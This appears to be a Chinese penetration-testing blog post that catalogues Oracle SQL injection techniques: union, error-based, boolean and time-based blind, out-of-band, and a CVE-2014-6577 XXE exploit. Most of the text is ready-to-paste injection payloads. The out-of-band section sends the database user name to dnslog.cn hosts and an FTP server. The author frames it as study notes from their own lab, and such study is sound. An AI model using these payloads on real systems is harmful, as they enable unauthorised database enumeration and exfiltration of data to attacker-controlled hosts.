渗透测试知识梳理-注入类-1-SQL注入-Oracle

N 人看过

ORACLE 注入

首先判断注入类型:
常规:1=1 1=2
数字型: id=7698/0id=7699-1
字符型: name=ab'||'cname=ab'||'b
布尔型:and (select count (*) from user_tables)>0 --and (select count (*) from dual)>0 --
时间延时:and 1=dbms_pipe.receive_message('RDS', 3)--

1. 联合注入

  1. 判断列数
id=7 order by 8
  1. 判断类型和显示位
id=7 union select 1,'2',user,null,null,null,null,null from dual
  1. 基本信息查询(在显示位插入即可)
SELECT global_name FROM global_name;
SELECT user from dual;
SELECT banner FROM v$version where banner like 'Oracle%';
SELECT banner FROM v$version where banner like 'TNS%';
  1. 获取所有数据库用户
SELECT username FROM all_users;
SELECT name FROM sys.user$; # 需要高权限
  1. 获取当前用户权限
SELECT * FROM session_privs;
  1. 获取当前用户有权限的所有数据库
SELECT DISTINCT owner, table_name FROM all_tables;
  1. 查表名
select wm_concat(table_name) from user_tables;

wm_concat()是一个聚合查询函数,在11gr2和12C上已经抛弃。

替代函数LISTAGG():
基本语法:
LISTAGG(XXX,XXX) WITHIN GROUP( ORDER BY XXX)

select LISTAGG(table_name,',')within group(order by owner)name from all_tables where owner='SYSTEM';
  1. 查列名
select LISTAGG(column_name,',') within group(order by owner)name from all_tab_columns where table_name='SQLPLUS_PRODUCT_PROFILE';
  1. 查列值
select ATTRIBUTE,CHAR_VALUE,DATE_VALUE,LONG_VALUE,NUMERIC_VALUE,PRODUCT,SCOPE,USERID from SQLPLUS_PRODUCT_PROFILE;

限定查询行数使用rownum

SELECT * FROM (SELECT rownum no,INFO FROM HELP)a WHERE no=2;
  • 为什么rownum >1时查不到一条记录,而 rownum >0或rownum >=1 却总显示所有记录。
    这是因为rownum是在查询到的结果集后,再加上去的,它总是从1开始的。
  • 为什么between 1 and 10 或者 between 0 and 10 能查到结果,而用 between 2 and 10 却得不到结果。
    原因同上:因为 rownum总是从1开始。

从上可得,任何时候想把rownum = 1这条记录抛弃是不对的。它在结果集中是不可或缺的。少了rownum=1就像空中楼阁一般不能存在。所以,rownum条件要包含到1。

2. 报错注入

1、utl_inaddr.get_host_name()
描述: 用于取得局域网或Internet环境中的主机名,如果传递参数无法得到解析就会返回一个oracle 错误并显示传递的参数。属于包utl_inaddr,11g之后,使用此函数的数据库用户需要有访问网络的权限。

and 1=utl_inaddr.get_host_name((select banner from v$version where banner like 'Oracle%')) --

在这里插入图片描述
2、utl_inaddr.get_host_address()
原理同上:

and 1=utl_inaddr.get_host_address((select banner from v$version where banner like 'Oracle%'))--

在这里插入图片描述
3、ctxsys.drithsx.sn()
描述: 处理文本的函数,参数错误时会报错。

这个没查到相关语法,有了解的大佬麻烦解释下。

and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%'))--

在这里插入图片描述

4、CTXSYS.CTX_REPORT.TOKEN_TYPE()
描述: 这是一个查找函数,主要用作其他函数(CTX_DDL.OPTIMIZE_INDEX、CTX_REPORT.TOKEN_INFO等)的输入。
扩展: CTX_REPORT包生成关于索引和查询的报告,这些报告可以对应用程序进行微调或故障排除。

and 1=CTXSYS.CTX_REPORT.TOKEN_TYPE((select banner from v$version where banner like 'Oracle%'), '123') --

在这里插入图片描述
5、XMLType()
描述: XMLType是系统定义的用于处理 XML 数据的不透明类型。它作为预定义的成员函数来提取 XML 节点和片段。
用法: constructor function XMLType(xmlData IN clob,schema IN varchar2 := NULL,validated IN number := 0,wellformed IN Number := 0) return self as result deterministic; 主要关注xmlData即可,其数据格式可以有如下类型: BFILE, BLOB, CLOB, REFs, VARCHAR2,Object。
注意点:
XMLType 在调用的时候必须以<:开头,>结尾,即'<:'||payload||'>' 或者 chr(60)||chr(58)||payload||chr(62),如果返回的数据种有空格的话, 它会自动截断,导致数据不完整,可以使用replace替换或使用hex转换。
Oracle Database 11g Express Edition Release 11.2.0.2.0 - 64bit Production 测试显示报错失败。
Oracle9i Release 9.2.0.1.0 - Production 测试报错成功。

and (select upper(XMLType(chr(60)||chr(58)||(select replace(banner,chr(32),chr(58)) from v$version where banner like 'Oracle%')||chr(62))) from dual) is not NULL --

在这里插入图片描述

在这里插入图片描述

6、dbms_xdb_version.checkin()
描述: 此函数检入已检出的 VCR(version control resource) 并返回新创建版本的资源 ID。
用法: DBMS_XDB_VERSION.CHECKIN( pathname VARCHAR2) RETURN DBMS_XDB.resid_type;
pathname: 签出资源的路径名。
注入语句:

and (SELECT dbms_xdb_version.checkin((select banner from v$version where banner like 'Oracle%')) from dual) is not null --

在这里插入图片描述
7、dbms_xdb_version.makeversioned()
描述: 此函数将路径名指定的常规资源转换为受版本控制的资源。然后将此新资源置于版本控制之下。所有其他路径名继续引用原始资源。
用法: DBMS_XDB_VERSION.MAKEVERSIONED( pathname VARCHAR2) RETURN DBMS_XDB.resid_type;
pathname: 签出资源的路径名。
注入语句:

and (SELECT dbms_xdb_version.makeversioned((select banner from v$version where banner like 'Oracle%')) from dual) is not null --

在这里插入图片描述

8、dbms_xdb_version.uncheckout()
描述: 此函数签入已签出的资源并返回资源签出前版本的资源 ID。
用法: DBMS_XDB_VERSION.UNCHECKOUT( pathname VARCHAR2) RETURN DBMS_XDB.resid_type;
pathname: 签出资源的路径名。
注入语句:

and (SELECT dbms_xdb_version.uncheckout((select banner from v$version where banner like 'Oracle%')) from dual) is not null --

在这里插入图片描述

9、dbms_utility.sqlid_to_sqlhash()
描述: 此函数将 SQL ID 转换为哈希值。
用法: DBMS_UTILITY.SQLID_TO_SQLHASH (sql_id IN VARCHAR2) RETURN NUMBER;
注入语句:

and (SELECT dbms_utility.sqlid_to_sqlhash((select banner from v$version where banner like 'Oracle%')) from dual) is not null --

在这里插入图片描述

10、ordsys.ord_dicom.getmappingxpath()
描述: 返回与指定映射文档中指定的 DICOM 属性标记和定义器名称关联的绝对 XPath 表达式。返回的 XPath 表达式可用于从提取的 XML 元数据文档中获取值。Oracle 多媒体对 DICOM 的支持在 Oracle Database 12 c第 2 版 (12.2) 中已弃用。
用法:

getMappingXPath(tag IN VARCHAR2,
                docName IN VARCHAR2  DEFAULT 'ordcmmp.xml',
                definerName IN VARCHAR2 DEFAULT 'DICOM')
 RETURN VARCHAR2

tag:
来自指定映射文档的 DICOM 属性标记,表示为 8 个字符的十六进制字符串(例如:)00100010。

docName:
映射文档的名称。默认名称为ordcmmp.xml。

definerName:
指定映射文档中 DICOM 属性标签的定义者名称。默认名称为DICOM,指的是 DICOM 标准。

注入语句:

select ordsys.ord_dicom.getmappingxpath((select user from dual), 1, 1) from dual --

这个没有在自己搭建的环境中测试处来,报错说标识符无效,不知道是不是少安装了什么组件还是咋回事,不过官方DICOM参考 文档只有18、12的,而我是11g的版本,可能是版本原因,暂时不再深究,意义不大。
在这里插入图片描述
11、dbms_xmlgen.getxml()
描述: 通过获取指定的最大行数来获取 XML 文档。它将 XML 文档附加到CLOB传入的文件中。
用法:

DBMS_XMLGEN.GETXML (
   ctx          IN ctxHandle,
   dtdOrSchema  IN number := NONE)
 RETURN CLOB;

ctx: 从newContext调用中获得的上下文句柄。
dtdOrSchema: 生成DTD或者模式,仅支持NONE。
to_char(): 将日期转按一定格式换成字符类型。
注入语句:

and (SELECT dbms_xmlgen.getxml('select "'||(select user from sys.dual)||'" FROM sys.dual') FROM dual) is not null --

在这里插入图片描述
12、xmlelement()
描述: XMLElement为 获取元素名称identifier或为 计算元素名称EVALNAME value_expr、元素的可选属性集合以及构成元素内容的参数。它返回一个类型为 的实例XMLType。XMLElement类似于,SYS_XMLGen除了XMLElement可以在返回的 XML 中包含属性,但它不接受使用XMLFormat对象进行格式化。

官方的话理解下来就是通过传入元素名称、或者元素属性集合、或者元素内容等参数,最终返回一个XML类型的实例。
rtrim: 去除指定字符后的空格。
extract: 主要作用于一个date或者interval类型中截取特定的部分。
xmlagg: 可以用于列转行,类似wm_concat。
getstringval: 转换String 类型。
注入语句:

SELECT rtrim(extract(xmlagg(xmlelement("s",(select user from sys.dual) || ',')),'/s').getstringval(),'",') a FROM all_users;

在这里插入图片描述
这边看下来也没有报错,就是正常查询,不知道为啥被各位大佬分为报错注入类别了,如果是正常查询存在回显位的话可以使用这个函数试试。

3. 布尔盲注

1、substr()
描述: 字符截取函数
用法:

格式1:
    substr(string string, int a, int b);
           string 需要截取的字符串
         a 截取字符串的开始位置(注:当a等于0或1时,都是从第一位开始截取)
        b 要截取的字符串的长度
 格式2:
    substr(string string, int a);
          string 需要截取的字符串
        a 可以理解为从第a个字符开始截取后面所有的字符串。

注入语句:

and 'S'=(select substr(user,1,1) from dual) -- 

在这里插入图片描述

2、decode()

描述: 对查询内容进行分组,排序,转列。

用法:

格式1:
	decode(expression,value,result1,result2)
	
	如果expression=value,则输出result1,否则输出result2

格式2:
	decode(expression,value1,result1,value2,result2,value3,result3......,default)
	
	如果expression=value1,则输出result1,expression=value2,输出reslut2,
	expression=value3,输出result3,若expression不等于所列出的所有value,则输出为default

注入语句:

and 1=(select decode(substr(user,1,1),'S',(1/0),0) from dual) --

在这里插入图片描述
为真就报错,为假存在查询值,观察数据包返回状态或者长度判断。

3、case when
注入语句:

and 919=(SELECT CASE WHEN 'S'=SUBSTR(user, 1, 1) THEN (SELECT count(*) FROM SYSTEM.HELP) ELSE 0 END FROM dual) --

在这里插入图片描述

4. 时间盲注

1、DBMS_PIPE.RECEIVE_MESSAGE

描述: 该函数将消息复制到本地消息缓冲区中。

用法:

DBMS_PIPE.RECEIVE_MESSAGE (
   pipename     IN VARCHAR2,
   timeout      IN INTEGER      DEFAULT maxwait)
RETURN INTEGER;

pipename: 要在其上接收消息的管道的名称
REPLACE:

REPLACE(char, search_string
        [, replacement_string ]
       )

注入语句:

and DBMS_PIPE.RECEIVE_MESSAGE('laobiao', REPLACE((SELECT substr(user, 1, 1) FROM dual), 'S', 3))=1;

在这里插入图片描述
这里查询时间翻倍了,暂时还没搞懂,网上有个查询显示的是解析次数是执行次数的两倍,可能是这个原因,传送门
查询语句:

select SQL_ID,PARSE_CALLS,EXECUTIONS from v$sqlarea
where PARSE_CALLS > EXECUTIONS order by PARSE_CALLS desc;

我测试下来2倍还不止,暂时存疑,有清楚的大佬麻烦给个提示。

5. 带外注入(OOB)

1、utl_http.request()

描述: 此函数最多返回从给定 URL 检索到的前 2000 个字节的数据。这个函数可以直接在 SQL 查询中使用。URL 可能包含验证对服务器的请求所需的用户名和密码

用法:

UTL_HTTP.REQUEST (
   url              IN VARCHAR2,
   proxy            IN VARCHAR2 DEFAULT NULL, 
   wallet_path      IN VARCHAR2 DEFAULT NULL,
   wallet_password  IN VARCHAR2 DEFAULT NULL,
   https_host       IN VARCHAR2 DEFAULT NULL)
RETURN VARCHAR2;

在这里插入图片描述

注入语句:

AND 1=UTL_HTTP.REQUEST((SELECT user FROM SYS.dual)||'.pwob14.dnslog.cn') --

在这里插入图片描述
带外成功:
在这里插入图片描述

2、get_host_address

注入语句:

AND 1=utl_inaddr.get_host_address((SELECT user FROM SYS.dual)||'.38167d.dnslog.cn') --

在这里插入图片描述
带外成功:
在这里插入图片描述
3、SYS.DBMS_LDAP.INIT

描述:
init() 初始化与 LDAP 服务器的会话。这实际上建立了与 LDAP 服务器的连接。

用法:

FUNCTION init      
(
hostname IN VARCHAR2,
portnum  IN PLS_INTEGER
)
RETURN SESSION;

注入语句:

AND (SELECT DBMS_LDAP.INIT((select user from SYS.dual)||'.3pe5gj.dnslog.cn',80) FROM dual) is not null --

在这里插入图片描述
在这里插入图片描述

4、HTTPURITYPE

描述: 构造了一个HTTPURITYPE实例,该实例不包括前缀http://的URL存储。

大意应该是能够存储不带前缀的URL,保存为HTTPURITYPE实例。

用法:

CONSTRUCTOR FUNCTION HTTPURITYPE(
   url IN VARCHAR2);

GETCLOB: 也就是把上述的实例传入,返回字符大对象CLOB。
其实不使用GETCLOB也行,可以用GETCONTENTTYPE替换,其他的自行尝试。
注入语句:

AND (SELECT HTTPURITYPE((select user from SYS.dual)||'.os38f3.dnslog.cn').GETCLOB() FROM DUAL) is not null --

在这里插入图片描述
在这里插入图片描述

5、DBMS_LDAP.UTL_TCP(可用性低)
描述: 此函数打开到指定服务的 TCP/IP 连接。
用法:

UTL_TCP.OPEN_CONNECTION  (
   remote_host          IN VARCHAR2,
   remote_port          IN PLS_INTEGER,
   local_host           IN VARCHAR2 DEFAULT NULL,
   local_port           IN PLS_INTEGER DEFAULT NULL,
   in_buffer_size       IN PLS_INTEGER DEFAULT NULL,
   out_buffer_size      IN PLS_INTEGER DEFAULT NULL,
   charset              IN VARCHAR2 DEFAULT NULL,
   newline              IN VARCHAR2 DEFAULT CRLF,
   tx_timeout           IN PLS_INTEGER DEFAULT NULL,
   wallet_path          IN  VARCHAR2 DEFAULT NULL,
   wallet_password      IN  VARCHAR2 DEFAULT NULL, 
  RETURN connection;

注入语句:

DECLARE c UTL_TCP.CONNECTION;txt VARCHAR2(1000);
BEGIN SELECT user INTO txt from sys.dual;
	c := UTL_TCP.OPEN_CONNECTION ( ( txt || '.i10be5.dnslog.cn' ), 80, '/', '123' );
END;

在这里插入图片描述

在这里插入图片描述

虽然能够带回数据,但是由于分号的原因且是一个语句块暂时没有较好能利用的思路,期待大佬的姿势。

6、CVE-2014-6577 漏洞利用

描述: Oracle数据库的XML解析器模块容易受到XML外部实体(XML External Entity , XXE)注入。

受影响版本: 11.2.0.3, 11.2.0.4, 12.1.0.1 和12.1.0.2

所需权限: 创建会话(CREATE SESSION)

HTTP协议:

select 1 from dual where 1=(select extractvalue(xmltype('<?xml 

version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote 

SYSTEM "http://'||(SELECT user from 

dual)||'.iq2g01.dnslog.cn"> %remote;]>'),'/l') from dual);

在这里插入图片描述
虽然报错了,但还是成功带回数据。
在这里插入图片描述
FTP 协议:

select 1 from dual where 1=(select extractvalue(xmltype('<?xml 

version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote 

SYSTEM "ftp://test:test@192.168.1.14/'||(SELECT user from 

dual)||'"> %remote;]>'),'/l') from dual);

在这里插入图片描述
这边在FTP监控这块成功看到连接请求后带有查询之后的数据SYSTEM,按理说在用户名这块带入也是可行的。
在这里插入图片描述
声明:

  1. 以上内容均来自互联网搜集和个人整理,可能错误的地方,还望指出,大佬轻喷。
  2. 注入思路不仅限于此,如有更好的姿势希望可以和师傅们多多交流。

参考链接:

本作品采用 知识共享署名-非商业性使用-禁止演绎 4.0 国际许可协议 (CC BY-NC-ND 4.0) 进行许可。